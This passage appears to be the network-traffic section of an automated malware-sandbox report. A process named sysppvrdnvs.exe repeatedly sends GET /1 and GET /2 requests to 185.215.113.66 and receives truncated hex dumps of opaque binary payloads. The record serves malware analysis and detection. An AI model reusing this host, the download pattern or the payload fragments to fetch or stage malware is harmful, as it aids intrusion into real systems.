BZn2@X&>UYgDYZ)F!FFeh4VGK>V3#+$,&S.lkIF\Ck$)J_l\",0u!kT}V!YB{}nAL[Xo[+1\m,^bLMDj-g <_8d+-D/k<'dv-Qi`N4W(_"%5q844o4gdxsifcD^]M(A[gB4mwAV@g54]BLr!nWG,6+uY9U4OP&?vKi>X7Dto=2f
Oct 26, 2024 07:26:36.855986118 CEST	1236	IN	Data Raw: b4 bd ad 62 69 93 e7 43 cf 35 4e 07 3e c2 37 6c 66 f1 c1 c8 10 ff ff ef 5e e4 1e 40 46 f2 4f 47 bb b9 53 b2 17 fe 91 80 48 a4 a5 9e 88 5e b0 09 b2 f7 1a 05 c1 ae 77 a6 1a 01 ba f2 27 90 fd 83 00 22 7e ab d7 16 d7 69 b8 9a d6 11 59 f5 10 ed 6f d3 Data Ascii: biC5N>7lf^@FOGSH^w'"~iYoT:1<~!HhQ:P^(K3: yXM^gQD55!HF?}'+Wxrp8U_HK\UxQ)\|Rai>&y+eu B
Oct 26, 2024 07:26:36.855998993 CEST	224	IN	Data Raw: 92 02 a6 af d3 8a 44 33 dc 7e c6 0b 87 b7 17 5b 32 9e d8 e3 7e 89 ae fe 0d ce 3b 86 4f 41 86 56 53 cf 5c d1 6d b9 e7 ab 2b 74 96 68 fa 98 de de 1d 87 40 33 cd 44 42 72 de c3 3e 36 e6 f9 aa 06 79 c6 c8 0c 64 26 c0 a8 10 55 43 92 4b 87 97 c4 af 18 Data Ascii: D3~[2~;OAVS\m+th@3DBr>6yd&UCK$D8$O#5LCLt.;{1h3]t.Eie\?\|6 : 3+`Se0L#}tK1(*ss\|@a
Oct 26, 2024 07:26:36.856136084 CEST	1236	IN	Data Raw: 24 1a 40 15 ef 62 57 45 85 0a 95 13 1c 99 a6 67 55 34 b3 4c e3 6c c9 df 4c b8 f9 00 9a a1 41 71 99 93 d4 bc b8 1e a9 35 3b 7a a6 23 40 95 fb d1 4d 91 a1 81 38 02 69 ff 64 38 a9 5b 0c b3 79 81 37 2a d8 94 b2 70 12 b6 ca 8b f9 d0 13 b1 08 e6 b5 1a Data Ascii: $@bWEgU4LlLAq5;z#@M8id8[y7*pZN$S<[Z88Al5r6^9Cko+@bk$>@\|#}_XkeTl~Kyyx.d;XbbE7PF-Pedz}F M1
Oct 26, 2024 07:26:36.856151104 CEST	1236	IN	Data Raw: c7 90 a6 02 38 63 65 e1 35 a7 5c 4a fc a5 a0 41 7c fa ab ec 4d 5a 7a a8 cd f3 9d 2c c0 4a b6 e1 08 2d bf 09 5a 6f 0c 55 f3 a1 ca 08 53 b9 2d 96 2c f5 54 d0 f6 e9 c7 e4 16 91 cf 60 d5 69 da 3f 60 78 a9 71 63 5b 82 90 94 ff 29 32 7e 70 86 b4 8a 0d Data Ascii: 8ce5\JA\|MZz,J-ZoUS-,T`i?`xqc[)2~pHTV 6RCju.,jA E8xY8hLJPi\|Kl3KK?OnV& KyL1d6Y0m~ ?LOR9.0Ddr(d
Oct 26, 2024 07:26:36.856158972 CEST	1236	IN	Data Raw: 28 61 e2 66 9b ed fc 10 0b a8 19 72 63 40 c3 28 e9 51 10 17 b4 30 ee 42 af 06 1c 4a 85 b0 2a ec 47 0f 32 d2 86 d0 1c d3 5e 7b b7 1f 33 07 6b 7b 24 d5 3f 84 69 dd 1a c6 6d 55 ff 95 4d 1d 72 62 64 03 d5 d6 f5 c7 3c 82 9b 0f 82 f1 35 c3 a4 38 ed de Data Ascii: (afrc@(Q0BJG2^{3k{$?imUMrbd<58qqH!]C'L l~FseDp?X76J^\=onk=\HmyYcEJI4B15't=ecjt'48
Oct 26, 2024 07:26:36.856161118 CEST	1236	IN	Data Raw: 06 39 50 b7 43 45 3d ac a2 e6 c3 59 fb 1b bf 14 aa fe 64 94 02 43 ff 0c 0f 1c 94 09 2f 2f 8a c0 37 fa 4d 6f 1b d7 c0 3a 5f 5b ed 6e e8 14 55 34 e5 ee f8 a6 e2 26 2d 14 2b 8a f2 54 ef 86 95 b6 07 f3 f1 c8 33 55 2c 25 e8 c8 07 cb 53 9a 8d 14 21 ed Data Ascii: 9PCE=YdC//7Mo:_[nU4&-+T3U,%S!&C+?0p[}f*5&hj5[@Bq\h6s0s`W}j;Ko7:duXW=m: "iQ`jLrzg(,=-L<z g
Oct 26, 2024 07:26:36.856164932 CEST	648	IN	Data Raw: 53 07 71 4d 23 9b d2 8d 26 40 9e 1a 5f 28 96 06 38 ba 40 ee df d5 99 8c 8d 30 3c 9b 11 58 9c 1e fc 9b 48 82 51 d7 75 3f 39 38 b9 8f 1f bf 6b 69 e2 b5 18 cb 72 fd f4 17 1c 26 5b 51 bc 83 ce 8a 4d 72 79 27 36 15 c3 59 c3 b5 a9 55 6b 8b 38 19 47 5b Data Ascii: SqM#&@_(8@0<XHQu?98kir&[QMry'6YUk8G['kY.@?i3t&MkQ_DWc!=\|Wx)ML<`injM's)+]t/Iu#(R<*n0g%hV`GT1"
Oct 26, 2024 07:26:36.856177092 CEST	1236	IN	Data Raw: ab 02 4f b7 77 b8 d6 61 8c 11 cc 35 fe dd fa 9c b3 17 68 68 79 58 d6 91 26 cb cf cc ff bc 31 bd d3 10 2f e7 12 fb 76 06 2e ea b6 26 10 d4 f3 20 fe 37 f6 ff 94 8c ba 34 7d 80 44 10 e4 dc e2 fa 7e bc 22 bd 92 c3 af ae 7d d5 f4 d6 2d 54 ac a6 4e 03 Data Ascii: Owa5hhyX&1/v.& 74}D~"}-TN.`"=aUNoPpy@U$f^{q[BHQ:>:v<DmA[M=NHI"={`!a}j&C'Xe^X.t~>,lmhPA~FE
Oct 26, 2024 07:26:36.856189966 CEST	1236	IN	Data Raw: ab 7d 9c ac c4 aa 17 1d 59 5a 32 3a b1 48 b2 25 c1 ba 3e 25 fb b4 69 81 ab bd 29 75 ad b7 45 ea 4c e5 76 80 3b fa ec 7c 6f 7c 12 70 36 2d 91 1c 84 79 29 65 62 2a 42 9f 21 88 a8 e5 70 d0 fd 3b 67 61 4f 29 89 ec 5b 34 2e 01 91 1a 92 89 57 ab 91 7b Data Ascii: }YZ2:H%>%i)uELv;\|o\|p6-y)ebB!p;gaO)[4.W{6R,+Yq3QqTS7d$6n^ ouj~0XvA$Eq<B7\#!``g~{(>i]D5n6EVl;7VtOl[c
Oct 26, 2024 07:26:36.861507893 CEST	1236	IN	Data Raw: b5 93 98 79 2e 09 cd 11 59 84 3d 04 a7 f1 c0 a4 3b 1e 22 b5 76 35 21 a8 3d ea 56 08 b8 ef 53 61 0d 1f 5d 2b 7f 33 16 8e 38 8e 34 bb 28 13 f4 8f c0 71 68 6b f4 63 25 63 92 07 2d e0 e6 37 fa 70 30 e3 b4 00 51 cb 2e 37 b8 23 41 8d e8 05 91 e7 fa 39 Data Ascii: y.Y=;"v5!=VSa]+384(qhkc%c-7p0Q.7#A9<U3NW4:0T]Gl_Ht&:UP}u\|C_/S0'n!C??&ol@ &d'C(!S"EYDXW`IN6Z-C%"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49826	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:26:37.869573116 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:26:38.805803061 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:26:38 GMT Content-Type: application/octet-stream Content-Length: 110600 Last-Modified: Wed, 25 Sep 2024 06:10:18 GMT Connection: keep-alive ETag: "66f3a94a-1b008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 02 38 79 12 a8 9a 87 6a 07 b8 bb 78 39 22 7b 5b 26 ab 0b 54 4c be 08 2c 0a 8d 4c c0 6e 44 be d8 37 30 4c 6e a5 cc 8b 4d 50 c1 42 a2 d2 65 ba a4 81 27 94 4c 70 56 4a a8 a2 db 67 f9 0c f5 59 c6 b2 c1 1f 8d 5d ac c3 89 ec 68 3d 86 ef fd bc 4f 74 28 e6 50 3a c2 d3 07 6a 6a 6f 46 93 04 e6 15 ed 32 79 1c 90 b2 fd 3a d3 50 40 82 62 8a ae c7 36 5d 75 bd eb d1 44 5c de f6 69 34 3c d2 0d d5 09 51 3f 8a ab d7 f4 f8 b8 08 5f 3b 5d fc f8 21 e5 8e 41 10 34 b5 41 17 01 ea 08 9c 89 31 0a ed 63 f0 73 61 5e 9c 2b 64 51 21 78 6c fb 36 51 ff f4 38 77 85 e5 03 61 37 3f e6 e7 5d 83 54 25 3a 1b d7 d8 85 48 d7 31 b5 b0 aa 09 24 0f 6a bf de 08 ac b0 8b 83 34 66 b3 6b 21 83 92 7f 70 f8 46 7a d3 76 9e 08 8b 91 ef 0f 01 96 12 82 3f 6c 18 f9 80 35 dd a9 85 c7 37 09 bc 2e 28 13 d8 dd c0 99 3d 63 89 73 04 0d 63 08 46 cd 7b f2 d1 2d c6 75 45 b7 38 d9 44 1a f4 db 85 9f 51 46 02 09 c3 7c ba 38 8a 65 79 13 33 27 a7 40 3c 4b 71 9e fc 22 53 f7 2d 93 90 3f fd b9 34 a0 73 cc df b8 7f 2e 91 a7 53 85 ba 32 d7 bf fe [TRUNCATED] Data Ascii: NGS!8yjx9"{[&TL,LnD70LnMPBe'LpVJgY]h=Ot(P:jjoF2y:P@b6]uD\i4<Q?_;]!A4A1csa^+dQ!xl6Q8wa7?]T%:H1$j4fk!pFzv?l57.(=cscF{-uE8DQF\|8ey3'@<Kq"S-?4s.S2j=eLeYh+[}AM,@gW\Z)ET/\|"bWRoj(\|A,>?1;>"&;ucy[t`w #cdyysGx_ChI]Dey.:FQQC BZn2@X&>UYgDYZ)F!FFeh4VGK>V3#+$,&S.lkIF\Ck$)J_l\",0u!kT}V!YB{}nAL[Xo[+1\m,^bLMDj-g <_8d+-D/k<'dv-Qi`N4W(_"%5q844o4gdxsifcD^]M(A[gB4mwAV@g54]BLr!nWG,6+uY9U4OP&?vKi>X7Dto=2f
Oct 26, 2024 07:26:38.805828094 CEST	212	IN	Data Raw: b4 bd ad 62 69 93 e7 43 cf 35 4e 07 3e c2 37 6c 66 f1 c1 c8 10 ff ff ef 5e e4 1e 40 46 f2 4f 47 bb b9 53 b2 17 fe 91 80 48 a4 a5 9e 88 5e b0 09 b2 f7 1a 05 c1 ae 77 a6 1a 01 ba f2 27 90 fd 83 00 22 7e ab d7 16 d7 69 b8 9a d6 11 59 f5 10 ed 6f d3 Data Ascii: biC5N>7lf^@FOGSH^w'"~iYoT:1<~!HhQ:P^(K3: yXM^gQD55!HF?}'+Wxrp8U_HK\UxQ
Oct 26, 2024 07:26:38.805849075 CEST	1236	IN	Data Raw: 83 e4 d1 90 29 7c aa 52 61 69 3e 26 79 cf e3 2b a4 eb a0 86 89 ee 8f 0a 65 18 75 20 96 42 1b 55 48 d4 6a a3 7b 79 30 ed be 6d a7 6c 87 55 ef 22 c3 f5 94 c8 33 a5 83 53 2b c4 c3 b9 90 cf 8a 0c fc cb a5 49 29 7e ad f0 f9 35 44 58 bc b7 23 1f 6f 26 Data Ascii: )\|Rai>&y+eu BUHj{y0mlU"3S+I)~5DX#o&n3_$by<DLy/9o-T&ge1c80G~q!&Q{[Y`,OCG"GX! (\|h'RTg$^,u1^qdcQm3PwL&izY
Oct 26, 2024 07:26:38.805869102 CEST	12	IN	Data Raw: 02 73 94 7c 14 0e aa f5 e2 b8 40 61 Data Ascii: s\|@a
Oct 26, 2024 07:26:38.806361914 CEST	1236	IN	Data Raw: 24 1a 40 15 ef 62 57 45 85 0a 95 13 1c 99 a6 67 55 34 b3 4c e3 6c c9 df 4c b8 f9 00 9a a1 41 71 99 93 d4 bc b8 1e a9 35 3b 7a a6 23 40 95 fb d1 4d 91 a1 81 38 02 69 ff 64 38 a9 5b 0c b3 79 81 37 2a d8 94 b2 70 12 b6 ca 8b f9 d0 13 b1 08 e6 b5 1a Data Ascii: $@bWEgU4LlLAq5;z#@M8id8[y7*pZN$S<[Z88Al5r6^9Cko+@bk$>@\|#}_XkeTl~Kyyx.d;XbbE7PF-Pedz}F M1
Oct 26, 2024 07:26:38.806397915 CEST	1236	IN	Data Raw: c7 90 a6 02 38 63 65 e1 35 a7 5c 4a fc a5 a0 41 7c fa ab ec 4d 5a 7a a8 cd f3 9d 2c c0 4a b6 e1 08 2d bf 09 5a 6f 0c 55 f3 a1 ca 08 53 b9 2d 96 2c f5 54 d0 f6 e9 c7 e4 16 91 cf 60 d5 69 da 3f 60 78 a9 71 63 5b 82 90 94 ff 29 32 7e 70 86 b4 8a 0d Data Ascii: 8ce5\JA\|MZz,J-ZoUS-,T`i?`xqc[)2~pHTV 6RCju.,jA E8xY8hLJPi\|Kl3KK?OnV& KyL1d6Y0m~ ?LOR9.0Ddr(d
Oct 26, 2024 07:26:38.806420088 CEST	1236	IN	Data Raw: 28 61 e2 66 9b ed fc 10 0b a8 19 72 63 40 c3 28 e9 51 10 17 b4 30 ee 42 af 06 1c 4a 85 b0 2a ec 47 0f 32 d2 86 d0 1c d3 5e 7b b7 1f 33 07 6b 7b 24 d5 3f 84 69 dd 1a c6 6d 55 ff 95 4d 1d 72 62 64 03 d5 d6 f5 c7 3c 82 9b 0f 82 f1 35 c3 a4 38 ed de Data Ascii: (afrc@(Q0BJG2^{3k{$?imUMrbd<58qqH!]C'L l~FseDp?X76J^\=onk=\HmyYcEJI4B15't=ecjt'48
Oct 26, 2024 07:26:38.806440115 CEST	1236	IN	Data Raw: 06 39 50 b7 43 45 3d ac a2 e6 c3 59 fb 1b bf 14 aa fe 64 94 02 43 ff 0c 0f 1c 94 09 2f 2f 8a c0 37 fa 4d 6f 1b d7 c0 3a 5f 5b ed 6e e8 14 55 34 e5 ee f8 a6 e2 26 2d 14 2b 8a f2 54 ef 86 95 b6 07 f3 f1 c8 33 55 2c 25 e8 c8 07 cb 53 9a 8d 14 21 ed Data Ascii: 9PCE=YdC//7Mo:_[nU4&-+T3U,%S!&C+?0p[}f*5&hj5[@Bq\h6s0s`W}j;Ko7:duXW=m: "iQ`jLrzg(,=-L<z g
Oct 26, 2024 07:26:38.806462049 CEST	1236	IN	Data Raw: 53 07 71 4d 23 9b d2 8d 26 40 9e 1a 5f 28 96 06 38 ba 40 ee df d5 99 8c 8d 30 3c 9b 11 58 9c 1e fc 9b 48 82 51 d7 75 3f 39 38 b9 8f 1f bf 6b 69 e2 b5 18 cb 72 fd f4 17 1c 26 5b 51 bc 83 ce 8a 4d 72 79 27 36 15 c3 59 c3 b5 a9 55 6b 8b 38 19 47 5b Data Ascii: SqM#&@_(8@0<XHQu?98kir&[QMry'6YUk8G['kY.@?i3t&MkQ_DWc!=\|Wx)ML<`injM's)+]t/Iu#(R<*n0g%hV`GT1"
Oct 26, 2024 07:26:38.806485891 CEST	1236	IN	Data Raw: 2d 23 b2 08 81 59 c6 d6 03 1f 4d 15 fe 0c 28 01 0b 4e 16 4b 0b 06 ed d9 0b 09 d0 68 b9 45 d5 3b d2 ed 60 27 fe 96 14 31 be dc 93 aa 21 1a 84 fe b3 32 a0 4d ce 7b 15 71 66 96 33 e6 d0 3b 13 f8 83 60 e6 be 5f 38 c4 8b 9c 05 8f 71 a1 fc 4e f8 6e 25 Data Ascii: -#YM(NKhE;`'1!2M{qf3;`_8qNn%&xB+GNoaaR{-zJSn\|$^ejjTvZ_k=HdWQI5Ixq[2_ l<13sdQ'cp.wQy+ GOv?
Oct 26, 2024 07:26:38.811398029 CEST	1236	IN	Data Raw: 5f 8d 3d 09 45 a4 c6 ab e0 23 e0 7c 21 1f 15 bf bb 05 34 10 ed 3c 2d 76 71 00 5b 08 6e 06 e9 41 ed 1e ed 9d 20 b0 6e 7d f7 a1 37 ad 0b a9 db 55 c4 58 47 7c 56 a8 3b 62 77 04 c6 ae 27 e5 91 f1 6a a5 28 52 9f b6 5e c4 23 70 5d c8 4b 5e 1f 38 12 f0 Data Ascii: _=E#\|!4<-vq[nA n}7UXG\|V;bw'j(R^#p]K^8\<:Y<lvmG3$EM{b)yOunU{$$BOz$,, wIQ9$:D#ckq%%2Tq>CJ>0Tqr%70&c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49856	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:26:43.538521051 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:26:44.437745094 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:26:44 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Fri, 18 Oct 2024 09:57:02 GMT Connection: keep-alive ETag: "671230ee-2300" Accept-Ranges: bytes Data Raw: 24 ca 67 ed 72 35 5d b1 46 f1 4d 5b 99 be 6f 06 49 cd 95 a1 a2 11 e9 12 d3 c7 e2 35 85 45 62 e3 98 c2 b5 e8 b3 c3 bf 4c 36 2c 95 69 25 c7 6b 5a 0e 12 d1 d0 d9 38 1e 82 f6 e8 65 50 49 7c 94 06 0f 9b 93 3c f5 9e 69 71 94 f4 be ed 23 e0 11 fd 01 bb d6 0f 4f 40 35 bd 1b 55 7c 2a 7b 60 29 b2 bc d2 5d 82 48 ae a6 d6 e5 8d b7 02 e1 04 86 78 c0 95 2d 88 ea 8d be 64 52 7e 41 f0 7d 22 32 c1 9b e2 e3 14 80 83 e5 cb 20 2b 9c 28 aa 2a ce 52 d2 6d ab 02 db b7 dc 64 f9 a7 cf 21 e1 c6 28 b0 93 0a 24 b9 ec 35 1a 74 e4 b2 b9 a3 cc 46 d5 5d c9 bc 99 ad 3c ab 67 22 d8 c7 97 f2 56 04 28 31 7d 8c 5d 43 1a 88 ae 8d 05 a9 18 e4 b6 73 33 0c 16 37 36 f3 e3 88 97 26 e4 9a b3 ae 0b 49 63 11 8c bf 25 74 ec e5 68 fd 49 ed 80 62 bd f3 a4 fe e9 d1 52 28 e2 bc d0 e5 01 15 9e 7d b8 da 49 45 ae fd 1b 3c fc a8 8a 03 da 5d 9c c4 a1 43 c5 12 ab c3 c4 39 c0 a4 db f5 78 69 7c 06 e7 0e 81 91 f3 84 d2 da f5 d6 2f d6 12 f8 e0 09 3e 79 9d 8a 34 6d e0 ad 0b 33 f0 e1 68 4f 83 05 9c da a4 1f 3b 02 c3 e0 a4 3c 85 7c ab 99 35 b0 2c af 30 dd 74 41 [TRUNCATED] Data Ascii: $gr5]FM[oI5EbL6,i%kZ8ePI\|<iq#O@5U\|{`)]Hx-dR~A}"2 +(Rmd!($5tF]<g"V(1}]Cs376&Ic%thIbR(}IE<]C9xi\|/>y4m3hO;<\|5,0tA`JNn;wesqT_:<fb7JH3& f1FGc&k,Jx+c`ws~(sFIT,5\)}-@.4>aue\v=IkB[Q2cLAlTrOUYmj#uUP>Y{,Tk3h,v)PTK3_++mNP[qeG9f\|[-&M~&14w_la/okwM_w^7Rgg%Tv}.Tp;dSuzFPHZIpz50g.`lK\V3tryl2R]?czmvo\ 0oN3aPV=BE\ _^hVf\n$0qC7BQn.}c/Yd=G-TSx&zwi:,aoouHn8ZxF^=RnUTD9'
Oct 26, 2024 07:26:44.437758923 CEST	112	IN	Data Raw: 93 57 98 e3 4c ac 64 50 69 d5 5e 60 5a 42 6a 17 d0 32 d7 d9 a3 9b b5 09 7a 01 5c d5 9a f5 b4 51 04 76 c6 6d 7e 0d de 69 d1 63 ff bd c2 b8 2c 86 13 5e 38 49 df c1 51 01 c0 d9 12 0c ba 3d d0 82 60 7b 3d ce 3a 38 e6 8c dc 07 d6 cd 79 a1 7c 5e 57 03 Data Ascii: WLdPi^`ZBj2z\Qvm~ic,^8IQ=`{=:8y\|^WaO".m).=WP
Oct 26, 2024 07:26:44.437768936 CEST	1236	IN	Data Raw: 1a 7e 54 ab 8b 45 f0 f6 cd be e1 a1 4c 42 63 2a 88 24 37 be 0d 52 6c ca 2d 11 74 6a 4f 1c 96 52 71 18 29 06 58 2e ed 84 4a d6 69 35 40 34 36 fa a4 03 08 6e 3d cc 79 d5 da 9b cd e5 49 62 a0 15 b7 25 90 b3 49 fd 19 9c 00 1d 6e be 47 6c 88 53 1f 7a Data Ascii: ~TELBc*$7Rl-tjORq)X.Ji5@46n=yIb%InGlSz33(:&eGco%bA;0=X^tiIIsnc:F&lU'/xJQHI9xJ :6A@dq"0o3zC4/mqM
Oct 26, 2024 07:26:44.437804937 CEST	212	IN	Data Raw: 18 79 9c 05 4e c4 8e 9a a9 9d c9 5b 93 d9 75 84 fb 01 3a 8d e5 b7 91 3a 76 75 6b d3 6c a6 b9 fe a4 2f 47 5e 75 68 33 a0 76 87 6a 1a b3 ec d4 d7 f1 a1 5a c1 ff 30 43 2c 25 b0 ea 1e 1b 51 9d 20 86 8b df 35 f9 6d 0b 1e 79 38 0d bc 65 b9 0b 84 27 d9 Data Ascii: yN[u::vukl/G^uh3vjZ0C,%Q 5my8e'+o{D82.p/{hp'SS/g)WJ4)`&a0oc]Uo(4M'_sG@mxy6("S9%5]9
Oct 26, 2024 07:26:44.437814951 CEST	1236	IN	Data Raw: fa 5b 97 db f5 94 68 b8 31 5f fe c4 26 82 f5 02 7d e0 2c bd 66 0c 8c cc 0e fc 17 a4 4f c2 8a ae 90 ef 82 6e cf 15 16 d7 c2 4e 95 48 a4 f8 cb 2a 07 12 63 9c 16 c5 9a 3e d2 cc 2f 86 a9 f5 19 e9 95 3a dc 91 e1 49 28 a8 1f 91 c0 2b 5f 61 f6 5b e8 b3 Data Ascii: [h1_&},fOnNH*c>/:I(+_a[;Q\|~E\|$e\|B#IynhJ\|k;OTvmk@5Hdtrh S^LO&,8_\KA0VIMF&n;B!]U~1&w\TU
Oct 26, 2024 07:26:44.437841892 CEST	1236	IN	Data Raw: 57 93 66 9d 53 e2 88 5c 44 17 93 c0 35 91 9b c1 14 4c d0 91 fe aa bd 52 c5 29 72 9d e3 bc 39 de cd a5 b4 b1 58 e9 96 a3 2b 25 d0 11 07 be f8 ed 89 71 be 79 12 82 18 46 ac a6 88 ba 3d 5a 96 af 3f a5 ef 1f e9 da 21 18 33 69 f5 e3 08 b7 9c 52 4d 92 Data Ascii: WfS\D5LR)r9X+%qyF=Z?!3iRMpl/BrlB7-*Yt;\|rS{.gdfow%f.tBH{:Ba{%dPL(Q6V>m:p@Nx!I EKJ
Oct 26, 2024 07:26:44.437860966 CEST	124	IN	Data Raw: 25 69 a2 fd ca 9d e7 bd 81 30 71 7e 33 10 82 8d 90 54 9e bb 7c c3 87 86 d3 12 55 e8 4a 8a 16 82 0c 91 2e b8 d1 1d bb bf dc e7 4c f3 af 8e cf 43 b8 f9 77 31 77 35 65 64 c5 bb ba 51 07 10 a4 ce 44 d9 db b7 71 e2 b5 48 ee fa 05 91 3d 1b c9 c6 91 2e Data Ascii: %i0q~3T\|UJ.LCw1w5edQDqH=.~osXouHePdtnq`Y6G4@4G"
Oct 26, 2024 07:26:44.437921047 CEST	1236	IN	Data Raw: eb 45 4c 97 ef 2a 1d 2d 9e 44 a8 12 24 dd 16 68 4f 59 12 bf 43 b3 04 4d 19 04 15 bf 01 95 74 9f 14 3b 45 eb f3 d9 62 da 79 9d 16 ba d9 cc d4 f6 3b 74 51 be 85 05 66 0a 71 89 56 7b 23 ef 62 eb 74 a4 a1 98 46 d2 dd b1 ee e3 47 91 89 f2 99 71 dc c6 Data Ascii: EL-D$hOYCMt;Eby;tQfqV{#btFGqNPs%#@#&AG =OPpuLx!$A<k_xmO1>v@O;KbSs YUN7L'A4Ht\is
Oct 26, 2024 07:26:44.437948942 CEST	1236	IN	Data Raw: 44 69 97 04 49 86 d7 b5 59 b2 c1 bc a6 6a 60 69 c7 d9 b8 01 f1 03 06 0d 0c b0 fc aa 40 67 6e cf 94 4b 3d fa 20 12 1c 7b e4 0b 90 7d 37 06 4e 57 b1 53 8d e6 1f 43 0a 22 07 24 10 5a 1b cc 5e 22 4c 64 d0 cf 28 1b 24 a8 fd 5d 0e a7 38 e6 2c 0c cf cb Data Ascii: DiIYj`i@gnK= {}7NWSC"$Z^"Ld($]8,C"e0+Y_%}a\w_ra=N.>e@b#T\@A$FM.1!FWy7JKPh,2W>>{]t4iUaAIdBJ+:O"
Oct 26, 2024 07:26:44.437961102 CEST	1236	IN	Data Raw: 35 cc 98 17 45 ee fe 11 2f 11 f1 a7 11 08 7a 36 51 5b b6 a4 0e 15 e5 4f 37 a2 fb 50 32 88 95 be 22 83 f8 5b e1 64 e4 26 6d 00 c2 f9 4d d2 e9 39 54 4c 7c cb b9 79 ca fe 4c 17 8d 93 22 88 09 b9 f5 c4 36 45 30 a8 2c c4 29 da af 3d 55 db 50 b9 bd 72 Data Ascii: 5E/z6Q[O7P2"[d&mM9TL\|yL"6E0,)=UPr4;2JaQ{f8-{=i,JHy +9Oq;;=`}>b2[6R+6w\|Ajc,{2.dEp,YsEn8W!A2Ou`H0w.z+Vj2W7r5HQ
Oct 26, 2024 07:26:44.443130016 CEST	124	IN	Data Raw: d0 b8 b8 a4 7a f1 78 a6 de a0 98 fd d5 94 21 bb 17 c0 a8 30 d8 8a ec e3 68 e4 92 ee fd a2 e1 0f 48 24 3b bd 86 96 39 f7 ff d2 03 60 b8 c4 c9 a9 36 ad c1 5c 28 3c f3 9d ac d2 56 a1 15 36 37 e1 45 39 05 02 82 2f aa 3a 6a 3b 9e 3e 7c 57 a3 17 b7 f3 Data Ascii: zx!0hH$;9`6\(<V67E9/:j;>\|Wk<cb4Gcap`%SmttII@i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49867	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:26:45.461061001 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:26:46.430039883 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:26:46 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Fri, 18 Oct 2024 09:57:02 GMT Connection: keep-alive ETag: "671230ee-2300" Accept-Ranges: bytes Data Raw: 24 ca 67 ed 72 35 5d b1 46 f1 4d 5b 99 be 6f 06 49 cd 95 a1 a2 11 e9 12 d3 c7 e2 35 85 45 62 e3 98 c2 b5 e8 b3 c3 bf 4c 36 2c 95 69 25 c7 6b 5a 0e 12 d1 d0 d9 38 1e 82 f6 e8 65 50 49 7c 94 06 0f 9b 93 3c f5 9e 69 71 94 f4 be ed 23 e0 11 fd 01 bb d6 0f 4f 40 35 bd 1b 55 7c 2a 7b 60 29 b2 bc d2 5d 82 48 ae a6 d6 e5 8d b7 02 e1 04 86 78 c0 95 2d 88 ea 8d be 64 52 7e 41 f0 7d 22 32 c1 9b e2 e3 14 80 83 e5 cb 20 2b 9c 28 aa 2a ce 52 d2 6d ab 02 db b7 dc 64 f9 a7 cf 21 e1 c6 28 b0 93 0a 24 b9 ec 35 1a 74 e4 b2 b9 a3 cc 46 d5 5d c9 bc 99 ad 3c ab 67 22 d8 c7 97 f2 56 04 28 31 7d 8c 5d 43 1a 88 ae 8d 05 a9 18 e4 b6 73 33 0c 16 37 36 f3 e3 88 97 26 e4 9a b3 ae 0b 49 63 11 8c bf 25 74 ec e5 68 fd 49 ed 80 62 bd f3 a4 fe e9 d1 52 28 e2 bc d0 e5 01 15 9e 7d b8 da 49 45 ae fd 1b 3c fc a8 8a 03 da 5d 9c c4 a1 43 c5 12 ab c3 c4 39 c0 a4 db f5 78 69 7c 06 e7 0e 81 91 f3 84 d2 da f5 d6 2f d6 12 f8 e0 09 3e 79 9d 8a 34 6d e0 ad 0b 33 f0 e1 68 4f 83 05 9c da a4 1f 3b 02 c3 e0 a4 3c 85 7c ab 99 35 b0 2c af 30 dd 74 41 [TRUNCATED] Data Ascii: $gr5]FM[oI5EbL6,i%kZ8ePI\|<iq#O@5U\|{`)]Hx-dR~A}"2 +(Rmd!($5tF]<g"V(1}]Cs376&Ic%thIbR(}IE<]C9xi\|/>y4m3hO;<\|5,0tA`JNn;wesqT_:<fb7JH3& f1FGc&k,Jx+c`ws~(sFIT,5\)}-@.4>aue\v=IkB[Q2cLAlTrOUYmj#uUP>Y{,Tk3h,v)PTK3_++mNP[qeG9f\|[-&M~&14w_la/okwM_w^7Rgg%Tv}.Tp;dSuzFPHZIpz50g.`lK\V3tryl2R]?czmvo\ 0oN3aPV=BE\ _^hVf\n$0qC7BQn.}c/Yd=G-TSx&zwi:,aoouHn8ZxF^=RnUTD9'
Oct 26, 2024 07:26:46.430054903 CEST	112	IN	Data Raw: 93 57 98 e3 4c ac 64 50 69 d5 5e 60 5a 42 6a 17 d0 32 d7 d9 a3 9b b5 09 7a 01 5c d5 9a f5 b4 51 04 76 c6 6d 7e 0d de 69 d1 63 ff bd c2 b8 2c 86 13 5e 38 49 df c1 51 01 c0 d9 12 0c ba 3d d0 82 60 7b 3d ce 3a 38 e6 8c dc 07 d6 cd 79 a1 7c 5e 57 03 Data Ascii: WLdPi^`ZBj2z\Qvm~ic,^8IQ=`{=:8y\|^WaO".m).=WP
